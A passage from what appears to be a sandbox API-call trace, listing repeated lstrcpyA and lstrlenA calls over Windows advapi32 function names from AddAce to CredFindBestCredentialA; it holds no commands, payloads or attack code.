lpString2="AddAce" | out: lpString1="AddAce") returned="AddAce" [0036.068] lstrlenA (lpString="ADDACE") returned 6 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAuditAccessAce" | out: lpString1="AddAuditAccessAce") returned="AddAuditAccessAce" [0036.068] lstrlenA (lpString="ADDAUDITACCESSACE") returned 17 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAuditAccessAceEx" | out: lpString1="AddAuditAccessAceEx") returned="AddAuditAccessAceEx" [0036.068] lstrlenA (lpString="ADDAUDITACCESSACEEX") returned 19 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddAuditAccessObjectAce" | out: lpString1="AddAuditAccessObjectAce") returned="AddAuditAccessObjectAce" [0036.068] lstrlenA (lpString="ADDAUDITACCESSOBJECTACE") returned 23 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddConditionalAce" | out: lpString1="AddConditionalAce") returned="AddConditionalAce" [0036.068] lstrlenA (lpString="ADDCONDITIONALACE") returned 17 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddMandatoryAce" | out: lpString1="AddMandatoryAce") returned="AddMandatoryAce" [0036.068] lstrlenA (lpString="ADDMANDATORYACE") returned 15 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddUsersToEncryptedFile" | out: lpString1="AddUsersToEncryptedFile") returned="AddUsersToEncryptedFile" [0036.068] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILE") returned 23 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AddUsersToEncryptedFileEx" | out: lpString1="AddUsersToEncryptedFileEx") returned="AddUsersToEncryptedFileEx" [0036.068] lstrlenA (lpString="ADDUSERSTOENCRYPTEDFILEEX") returned 25 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AdjustTokenGroups" | out: lpString1="AdjustTokenGroups") returned="AdjustTokenGroups" [0036.068] lstrlenA (lpString="ADJUSTTOKENGROUPS") returned 17 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AdjustTokenPrivileges" | out: lpString1="AdjustTokenPrivileges") returned="AdjustTokenPrivileges" [0036.068] lstrlenA (lpString="ADJUSTTOKENPRIVILEGES") returned 21 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AllocateAndInitializeSid" | out: lpString1="AllocateAndInitializeSid") returned="AllocateAndInitializeSid" [0036.068] lstrlenA (lpString="ALLOCATEANDINITIALIZESID") returned 24 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AllocateLocallyUniqueId" | out: lpString1="AllocateLocallyUniqueId") returned="AllocateLocallyUniqueId" [0036.068] lstrlenA (lpString="ALLOCATELOCALLYUNIQUEID") returned 23 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AreAllAccessesGranted" | out: lpString1="AreAllAccessesGranted") returned="AreAllAccessesGranted" [0036.068] lstrlenA (lpString="AREALLACCESSESGRANTED") returned 21 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AreAnyAccessesGranted" | out: lpString1="AreAnyAccessesGranted") returned="AreAnyAccessesGranted" [0036.068] lstrlenA (lpString="AREANYACCESSESGRANTED") returned 21 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditComputeEffectivePolicyBySid" | out: lpString1="AuditComputeEffectivePolicyBySid") returned="AuditComputeEffectivePolicyBySid" [0036.068] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYSID") returned 32 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditComputeEffectivePolicyByToken" | out: lpString1="AuditComputeEffectivePolicyByToken") returned="AuditComputeEffectivePolicyByToken" [0036.068] lstrlenA (lpString="AUDITCOMPUTEEFFECTIVEPOLICYBYTOKEN") returned 34 [0036.068] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditEnumerateCategories" | out: lpString1="AuditEnumerateCategories") returned="AuditEnumerateCategories" [0036.069] lstrlenA (lpString="AUDITENUMERATECATEGORIES") returned 24 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditEnumeratePerUserPolicy" | out: lpString1="AuditEnumeratePerUserPolicy") returned="AuditEnumeratePerUserPolicy" [0036.069] lstrlenA (lpString="AUDITENUMERATEPERUSERPOLICY") returned 27 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditEnumerateSubCategories" | out: lpString1="AuditEnumerateSubCategories") returned="AuditEnumerateSubCategories" [0036.069] lstrlenA (lpString="AUDITENUMERATESUBCATEGORIES") returned 27 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditFree" | out: lpString1="AuditFree") returned="AuditFree" [0036.069] lstrlenA (lpString="AUDITFREE") returned 9 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditLookupCategoryGuidFromCategoryId" | out: lpString1="AuditLookupCategoryGuidFromCategoryId") returned="AuditLookupCategoryGuidFromCategoryId" [0036.069] lstrlenA (lpString="AUDITLOOKUPCATEGORYGUIDFROMCATEGORYID") returned 37 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditLookupCategoryIdFromCategoryGuid" | out: lpString1="AuditLookupCategoryIdFromCategoryGuid") returned="AuditLookupCategoryIdFromCategoryGuid" [0036.069] lstrlenA (lpString="AUDITLOOKUPCATEGORYIDFROMCATEGORYGUID") returned 37 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditLookupCategoryNameA" | out: lpString1="AuditLookupCategoryNameA") returned="AuditLookupCategoryNameA" [0036.069] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEA") returned 24 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditLookupCategoryNameW" | out: lpString1="AuditLookupCategoryNameW") returned="AuditLookupCategoryNameW" [0036.069] lstrlenA (lpString="AUDITLOOKUPCATEGORYNAMEW") returned 24 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditLookupSubCategoryNameA" | out: lpString1="AuditLookupSubCategoryNameA") returned="AuditLookupSubCategoryNameA" [0036.069] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEA") returned 27 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditLookupSubCategoryNameW" | out: lpString1="AuditLookupSubCategoryNameW") returned="AuditLookupSubCategoryNameW" [0036.069] lstrlenA (lpString="AUDITLOOKUPSUBCATEGORYNAMEW") returned 27 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditQueryGlobalSaclA" | out: lpString1="AuditQueryGlobalSaclA") returned="AuditQueryGlobalSaclA" [0036.069] lstrlenA (lpString="AUDITQUERYGLOBALSACLA") returned 21 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditQueryGlobalSaclW" | out: lpString1="AuditQueryGlobalSaclW") returned="AuditQueryGlobalSaclW" [0036.069] lstrlenA (lpString="AUDITQUERYGLOBALSACLW") returned 21 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditQueryPerUserPolicy" | out: lpString1="AuditQueryPerUserPolicy") returned="AuditQueryPerUserPolicy" [0036.069] lstrlenA (lpString="AUDITQUERYPERUSERPOLICY") returned 23 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditQuerySecurity" | out: lpString1="AuditQuerySecurity") returned="AuditQuerySecurity" [0036.069] lstrlenA (lpString="AUDITQUERYSECURITY") returned 18 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditQuerySystemPolicy" | out: lpString1="AuditQuerySystemPolicy") returned="AuditQuerySystemPolicy" [0036.069] lstrlenA (lpString="AUDITQUERYSYSTEMPOLICY") returned 22 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditSetGlobalSaclA" | out: lpString1="AuditSetGlobalSaclA") returned="AuditSetGlobalSaclA" [0036.069] lstrlenA (lpString="AUDITSETGLOBALSACLA") returned 19 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditSetGlobalSaclW" | out: lpString1="AuditSetGlobalSaclW") returned="AuditSetGlobalSaclW" [0036.069] lstrlenA (lpString="AUDITSETGLOBALSACLW") returned 19 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditSetPerUserPolicy" | out: lpString1="AuditSetPerUserPolicy") returned="AuditSetPerUserPolicy" [0036.069] lstrlenA (lpString="AUDITSETPERUSERPOLICY") returned 21 [0036.069] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditSetSecurity" | out: lpString1="AuditSetSecurity") returned="AuditSetSecurity" [0036.069] lstrlenA (lpString="AUDITSETSECURITY") returned 16 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="AuditSetSystemPolicy" | out: lpString1="AuditSetSystemPolicy") returned="AuditSetSystemPolicy" [0036.070] lstrlenA (lpString="AUDITSETSYSTEMPOLICY") returned 20 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BackupEventLogA" | out: lpString1="BackupEventLogA") returned="BackupEventLogA" [0036.070] lstrlenA (lpString="BACKUPEVENTLOGA") returned 15 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BackupEventLogW" | out: lpString1="BackupEventLogW") returned="BackupEventLogW" [0036.070] lstrlenA (lpString="BACKUPEVENTLOGW") returned 15 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildExplicitAccessWithNameA" | out: lpString1="BuildExplicitAccessWithNameA") returned="BuildExplicitAccessWithNameA" [0036.070] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEA") returned 28 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildExplicitAccessWithNameW" | out: lpString1="BuildExplicitAccessWithNameW") returned="BuildExplicitAccessWithNameW" [0036.070] lstrlenA (lpString="BUILDEXPLICITACCESSWITHNAMEW") returned 28 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildImpersonateExplicitAccessWithNameA" | out: lpString1="BuildImpersonateExplicitAccessWithNameA") returned="BuildImpersonateExplicitAccessWithNameA" [0036.070] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEA") returned 39 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildImpersonateExplicitAccessWithNameW" | out: lpString1="BuildImpersonateExplicitAccessWithNameW") returned="BuildImpersonateExplicitAccessWithNameW" [0036.070] lstrlenA (lpString="BUILDIMPERSONATEEXPLICITACCESSWITHNAMEW") returned 39 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildImpersonateTrusteeA" | out: lpString1="BuildImpersonateTrusteeA") returned="BuildImpersonateTrusteeA" [0036.070] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEA") returned 24 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildImpersonateTrusteeW" | out: lpString1="BuildImpersonateTrusteeW") returned="BuildImpersonateTrusteeW" [0036.070] lstrlenA (lpString="BUILDIMPERSONATETRUSTEEW") returned 24 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildSecurityDescriptorA" | out: lpString1="BuildSecurityDescriptorA") returned="BuildSecurityDescriptorA" [0036.070] lstrlenA (lpString="BUILDSECURITYDESCRIPTORA") returned 24 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildSecurityDescriptorW" | out: lpString1="BuildSecurityDescriptorW") returned="BuildSecurityDescriptorW" [0036.070] lstrlenA (lpString="BUILDSECURITYDESCRIPTORW") returned 24 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithNameA" | out: lpString1="BuildTrusteeWithNameA") returned="BuildTrusteeWithNameA" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEA") returned 21 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithNameW" | out: lpString1="BuildTrusteeWithNameW") returned="BuildTrusteeWithNameW" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHNAMEW") returned 21 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithObjectsAndNameA" | out: lpString1="BuildTrusteeWithObjectsAndNameA") returned="BuildTrusteeWithObjectsAndNameA" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEA") returned 31 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithObjectsAndNameW" | out: lpString1="BuildTrusteeWithObjectsAndNameW") returned="BuildTrusteeWithObjectsAndNameW" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDNAMEW") returned 31 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithObjectsAndSidA" | out: lpString1="BuildTrusteeWithObjectsAndSidA") returned="BuildTrusteeWithObjectsAndSidA" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDA") returned 30 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithObjectsAndSidW" | out: lpString1="BuildTrusteeWithObjectsAndSidW") returned="BuildTrusteeWithObjectsAndSidW" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHOBJECTSANDSIDW") returned 30 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithSidA" | out: lpString1="BuildTrusteeWithSidA") returned="BuildTrusteeWithSidA" [0036.070] lstrlenA (lpString="BUILDTRUSTEEWITHSIDA") returned 20 [0036.070] lstrcpyA (in: lpString1=0x34e420, lpString2="BuildTrusteeWithSidW" | out: lpString1="BuildTrusteeWithSidW") returned="BuildTrusteeWithSidW" [0036.071] lstrlenA (lpString="BUILDTRUSTEEWITHSIDW") returned 20 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CancelOverlappedAccess" | out: lpString1="CancelOverlappedAccess") returned="CancelOverlappedAccess" [0036.071] lstrlenA (lpString="CANCELOVERLAPPEDACCESS") returned 22 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ChangeServiceConfig2A" | out: lpString1="ChangeServiceConfig2A") returned="ChangeServiceConfig2A" [0036.071] lstrlenA (lpString="CHANGESERVICECONFIG2A") returned 21 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ChangeServiceConfig2W" | out: lpString1="ChangeServiceConfig2W") returned="ChangeServiceConfig2W" [0036.071] lstrlenA (lpString="CHANGESERVICECONFIG2W") returned 21 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ChangeServiceConfigA" | out: lpString1="ChangeServiceConfigA") returned="ChangeServiceConfigA" [0036.071] lstrlenA (lpString="CHANGESERVICECONFIGA") returned 20 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ChangeServiceConfigW" | out: lpString1="ChangeServiceConfigW") returned="ChangeServiceConfigW" [0036.071] lstrlenA (lpString="CHANGESERVICECONFIGW") returned 20 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CheckTokenMembership" | out: lpString1="CheckTokenMembership") returned="CheckTokenMembership" [0036.071] lstrlenA (lpString="CHECKTOKENMEMBERSHIP") returned 20 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ClearEventLogA" | out: lpString1="ClearEventLogA") returned="ClearEventLogA" [0036.071] lstrlenA (lpString="CLEAREVENTLOGA") returned 14 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ClearEventLogW" | out: lpString1="ClearEventLogW") returned="ClearEventLogW" [0036.071] lstrlenA (lpString="CLEAREVENTLOGW") returned 14 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CloseCodeAuthzLevel" | out: lpString1="CloseCodeAuthzLevel") returned="CloseCodeAuthzLevel" [0036.071] lstrlenA (lpString="CLOSECODEAUTHZLEVEL") returned 19 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CloseEncryptedFileRaw" | out: lpString1="CloseEncryptedFileRaw") returned="CloseEncryptedFileRaw" [0036.071] lstrlenA (lpString="CLOSEENCRYPTEDFILERAW") returned 21 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CloseEventLog" | out: lpString1="CloseEventLog") returned="CloseEventLog" [0036.071] lstrlenA (lpString="CLOSEEVENTLOG") returned 13 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CloseServiceHandle" | out: lpString1="CloseServiceHandle") returned="CloseServiceHandle" [0036.071] lstrlenA (lpString="CLOSESERVICEHANDLE") returned 18 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CloseThreadWaitChainSession" | out: lpString1="CloseThreadWaitChainSession") returned="CloseThreadWaitChainSession" [0036.071] lstrlenA (lpString="CLOSETHREADWAITCHAINSESSION") returned 27 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CloseTrace" | out: lpString1="CloseTrace") returned="CloseTrace" [0036.071] lstrlenA (lpString="CLOSETRACE") returned 10 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="CommandLineFromMsiDescriptor" | out: lpString1="CommandLineFromMsiDescriptor") returned="CommandLineFromMsiDescriptor" [0036.071] lstrlenA (lpString="COMMANDLINEFROMMSIDESCRIPTOR") returned 28 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ComputeAccessTokenFromCodeAuthzLevel" | out: lpString1="ComputeAccessTokenFromCodeAuthzLevel") returned="ComputeAccessTokenFromCodeAuthzLevel" [0036.071] lstrlenA (lpString="COMPUTEACCESSTOKENFROMCODEAUTHZLEVEL") returned 36 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ControlService" | out: lpString1="ControlService") returned="ControlService" [0036.071] lstrlenA (lpString="CONTROLSERVICE") returned 14 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ControlServiceExA" | out: lpString1="ControlServiceExA") returned="ControlServiceExA" [0036.071] lstrlenA (lpString="CONTROLSERVICEEXA") returned 17 [0036.071] lstrcpyA (in: lpString1=0x34e420, lpString2="ControlServiceExW" | out: lpString1="ControlServiceExW") returned="ControlServiceExW" [0036.072] lstrlenA (lpString="CONTROLSERVICEEXW") returned 17 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ControlTraceA" | out: lpString1="ControlTraceA") returned="ControlTraceA" [0036.072] lstrlenA (lpString="CONTROLTRACEA") returned 13 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ControlTraceW" | out: lpString1="ControlTraceW") returned="ControlTraceW" [0036.072] lstrlenA (lpString="CONTROLTRACEW") returned 13 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertAccessToSecurityDescriptorA" | out: lpString1="ConvertAccessToSecurityDescriptorA") returned="ConvertAccessToSecurityDescriptorA" [0036.072] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORA") returned 34 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertAccessToSecurityDescriptorW" | out: lpString1="ConvertAccessToSecurityDescriptorW") returned="ConvertAccessToSecurityDescriptorW" [0036.072] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORW") returned 34 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSDToStringSDRootDomainA" | out: lpString1="ConvertSDToStringSDRootDomainA") returned="ConvertSDToStringSDRootDomainA" [0036.072] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINA") returned 30 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSDToStringSDRootDomainW" | out: lpString1="ConvertSDToStringSDRootDomainW") returned="ConvertSDToStringSDRootDomainW" [0036.072] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINW") returned 30 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSecurityDescriptorToAccessA" | out: lpString1="ConvertSecurityDescriptorToAccessA") returned="ConvertSecurityDescriptorToAccessA" [0036.072] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSA") returned 34 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSecurityDescriptorToAccessNamedA" | out: lpString1="ConvertSecurityDescriptorToAccessNamedA") returned="ConvertSecurityDescriptorToAccessNamedA" [0036.072] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDA") returned 39 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSecurityDescriptorToAccessNamedW" | out: lpString1="ConvertSecurityDescriptorToAccessNamedW") returned="ConvertSecurityDescriptorToAccessNamedW" [0036.072] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDW") returned 39 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSecurityDescriptorToAccessW" | out: lpString1="ConvertSecurityDescriptorToAccessW") returned="ConvertSecurityDescriptorToAccessW" [0036.072] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSW") returned 34 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorA" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA") returned="ConvertSecurityDescriptorToStringSecurityDescriptorA" [0036.072] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORA") returned 52 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorW" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW") returned="ConvertSecurityDescriptorToStringSecurityDescriptorW" [0036.072] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORW") returned 52 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSidToStringSidA" | out: lpString1="ConvertSidToStringSidA") returned="ConvertSidToStringSidA" [0036.072] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDA") returned 22 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertSidToStringSidW" | out: lpString1="ConvertSidToStringSidW") returned="ConvertSidToStringSidW" [0036.072] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDW") returned 22 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSDToSDDomainA" | out: lpString1="ConvertStringSDToSDDomainA") returned="ConvertStringSDToSDDomainA" [0036.072] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINA") returned 26 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSDToSDDomainW" | out: lpString1="ConvertStringSDToSDDomainW") returned="ConvertStringSDToSDDomainW" [0036.072] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINW") returned 26 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSDToSDRootDomainA" | out: lpString1="ConvertStringSDToSDRootDomainA") returned="ConvertStringSDToSDRootDomainA" [0036.072] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINA") returned 30 [0036.072] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSDToSDRootDomainW" | out: lpString1="ConvertStringSDToSDRootDomainW") returned="ConvertStringSDToSDRootDomainW" [0036.072] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINW") returned 30 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorA" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned="ConvertStringSecurityDescriptorToSecurityDescriptorA" [0036.073] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORA") returned 52 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorW" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned="ConvertStringSecurityDescriptorToSecurityDescriptorW" [0036.073] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW") returned 52 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSidToSidA" | out: lpString1="ConvertStringSidToSidA") returned="ConvertStringSidToSidA" [0036.073] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDA") returned 22 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertStringSidToSidW" | out: lpString1="ConvertStringSidToSidW") returned="ConvertStringSidToSidW" [0036.073] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDW") returned 22 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="ConvertToAutoInheritPrivateObjectSecurity" | out: lpString1="ConvertToAutoInheritPrivateObjectSecurity") returned="ConvertToAutoInheritPrivateObjectSecurity" [0036.073] lstrlenA (lpString="CONVERTTOAUTOINHERITPRIVATEOBJECTSECURITY") returned 41 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CopySid" | out: lpString1="CopySid") returned="CopySid" [0036.073] lstrlenA (lpString="COPYSID") returned 7 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateCodeAuthzLevel" | out: lpString1="CreateCodeAuthzLevel") returned="CreateCodeAuthzLevel" [0036.073] lstrlenA (lpString="CREATECODEAUTHZLEVEL") returned 20 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreatePrivateObjectSecurity" | out: lpString1="CreatePrivateObjectSecurity") returned="CreatePrivateObjectSecurity" [0036.073] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITY") returned 27 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreatePrivateObjectSecurityEx" | out: lpString1="CreatePrivateObjectSecurityEx") returned="CreatePrivateObjectSecurityEx" [0036.073] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYEX") returned 29 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreatePrivateObjectSecurityWithMultipleInheritance" | out: lpString1="CreatePrivateObjectSecurityWithMultipleInheritance") returned="CreatePrivateObjectSecurityWithMultipleInheritance" [0036.073] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYWITHMULTIPLEINHERITANCE") returned 50 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0036.073] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0036.073] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateProcessWithLogonW" | out: lpString1="CreateProcessWithLogonW") returned="CreateProcessWithLogonW" [0036.073] lstrlenA (lpString="CREATEPROCESSWITHLOGONW") returned 23 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateProcessWithTokenW" | out: lpString1="CreateProcessWithTokenW") returned="CreateProcessWithTokenW" [0036.073] lstrlenA (lpString="CREATEPROCESSWITHTOKENW") returned 23 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateRestrictedToken" | out: lpString1="CreateRestrictedToken") returned="CreateRestrictedToken" [0036.073] lstrlenA (lpString="CREATERESTRICTEDTOKEN") returned 21 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateServiceA" | out: lpString1="CreateServiceA") returned="CreateServiceA" [0036.073] lstrlenA (lpString="CREATESERVICEA") returned 14 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateServiceW" | out: lpString1="CreateServiceW") returned="CreateServiceW" [0036.073] lstrlenA (lpString="CREATESERVICEW") returned 14 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateTraceInstanceId" | out: lpString1="CreateTraceInstanceId") returned="CreateTraceInstanceId" [0036.073] lstrlenA (lpString="CREATETRACEINSTANCEID") returned 21 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CreateWellKnownSid" | out: lpString1="CreateWellKnownSid") returned="CreateWellKnownSid" [0036.073] lstrlenA (lpString="CREATEWELLKNOWNSID") returned 18 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CredBackupCredentials" | out: lpString1="CredBackupCredentials") returned="CredBackupCredentials" [0036.073] lstrlenA (lpString="CREDBACKUPCREDENTIALS") returned 21 [0036.073] lstrcpyA (in: lpString1=0x34e420, lpString2="CredDeleteA" | out: lpString1="CredDeleteA") returned="CredDeleteA" [0036.074] lstrlenA (lpString="CREDDELETEA") returned 11 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredDeleteW" | out: lpString1="CredDeleteW") returned="CredDeleteW" [0036.074] lstrlenA (lpString="CREDDELETEW") returned 11 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredEncryptAndMarshalBinaryBlob" | out: lpString1="CredEncryptAndMarshalBinaryBlob") returned="CredEncryptAndMarshalBinaryBlob" [0036.074] lstrlenA (lpString="CREDENCRYPTANDMARSHALBINARYBLOB") returned 31 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredEnumerateA" | out: lpString1="CredEnumerateA") returned="CredEnumerateA" [0036.074] lstrlenA (lpString="CREDENUMERATEA") returned 14 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredEnumerateW" | out: lpString1="CredEnumerateW") returned="CredEnumerateW" [0036.074] lstrlenA (lpString="CREDENUMERATEW") returned 14 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredFindBestCredentialA" | out: lpString1="CredFindBestCredentialA") returned="CredFindBestCredentialA" [0036.074] lstrlenA (lpString="CREDFINDBESTCREDENTIALA") returned 23 [0036.074] lstrcpyA (in: lpString1=0x34e420, lpString2="CredFindBestCredentialW" | out: lpString1="CredFindBestCredentialW") 